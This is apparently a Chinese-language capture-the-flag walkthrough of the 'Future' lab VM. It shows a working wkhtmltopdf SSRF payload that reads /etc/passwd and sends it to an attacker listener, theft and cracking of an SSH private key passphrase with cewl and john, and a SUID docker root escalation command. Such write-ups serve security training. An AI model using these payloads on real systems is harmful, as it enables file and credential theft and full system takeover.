# 靶场搭建
下载:Future
Nat,IP: 192.168.1.149
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | |
| ssh-hostkey: | |
| 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA) | |
|_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519) | |
80/tcp open http Apache httpd 2.4.57 ((Debian)) | |
|_http-title: future.nyx | |
|_http-server-header: Apache/2.4.57 (Debian) |
80 端口点一点,发现了一个上传点: http://192.168.1.149/homework.html
只能上传 html,可以 ssrf
监听 4444 端口,发现可以收到请求
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
</head> | |
<body> | |
<img src="http://192.168.1.129:4444/img"> | |
</body> | |
</html> |
在 UA 中发现中间件 wkhtmltopdf
,搜到 SSRF 的漏洞
请求一下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
</head> | |
<body> | |
<script> | |
var readfile = new XMLHttpRequest(); // Read the local file | |
var exfil = new XMLHttpRequest(); // Send the file to our server | |
readfile.open("GET","file:///etc/passwd", true); | |
readfile.send(); | |
readfile.onload = function() { | |
if (readfile.readyState === 4) { | |
var url = 'http://192.168.1.129:4444/?data='+btoa(this.response); | |
exfil.open("GET", url, true); | |
exfil.send(); | |
} | |
} | |
readfile.onerror = function(){document.write('Oops!');} | |
</script> | |
</body> | |
</html> |
解码拿到 passwd
┌──(root㉿kali)-[~] | |
└─# echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eD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eXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMDoxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTAxOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KbWFydHkubWNmbHk6eDoxMDAwOjEwMDA6Oi9ob21lL21hcnR5Lm1jZmx5Oi9iaW4vYmFzaAplbW1ldHQuYnJvd246eDoxMDAxOjEwMDE6Oi9ob21lL2VtbWV0dC5icm93bjovYmluL2Jhc2gK' | base64 -d | |
root:x:0:0:root:/root:/bin/bash | |
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | |
bin:x:2:2:bin:/bin:/usr/sbin/nologin | |
sys:x:3:3:sys:/dev:/usr/sbin/nologin | |
sync:x:4:65534:sync:/bin:/bin/sync | |
games:x:5:60:games:/usr/games:/usr/sbin/nologin | |
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | |
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | |
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | |
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | |
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | |
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | |
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | |
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | |
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | |
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | |
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin | |
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | |
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin | |
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin | |
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin | |
marty.mcfly:x:1000:1000::/home/marty.mcfly:/bin/bash | |
emmett.brown:x:1001:1001::/home/emmett.brown:/bin/bash |
读一下 RSA 私钥 /home/marty.mcfly/.ssh/id_rsa
破解一下 RSA 私钥的 passphrase
rockyou.txt 没有跑出来,于是需要自定义字典
┌──(root㉿kali)-[~] | |
└─# cewl 192.168.1.149/2015.html > pass | |
┌──(root㉿kali)-[~] | |
└─# cewl 192.168.1.149/1955.html >> pass | |
┌──(root㉿kali)-[~] | |
└─# cewl 192.168.1.149/1855.html >> pass | |
┌──(root㉿kali)-[~] | |
└─# john id_rsa.hash --wordlist=pass | |
Using default input encoding: UTF-8 | |
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) | |
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes | |
Cost 2 (iteration count) is 16 for all loaded hashes | |
Will run 4 OpenMP threads | |
Press 'q' or Ctrl-C to abort, almost any other key for status | |
inadvertently (id_rsa) | |
1g 0:00:00:03 DONE (2024-05-27 00:13) 0.2631g/s 25.26p/s 25.26c/s 25.26C/s machine..them | |
Use the "--show" option to display all of the cracked passwords reliably | |
Session completed. |
拿到了 passphrase: inadvertently
ssh 登录
# 提权
find / -perm -4000 2>/dev/null
发现 docker 有 suid 权限,于是尝试利用
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
等待下载完成后拿到 root 权限。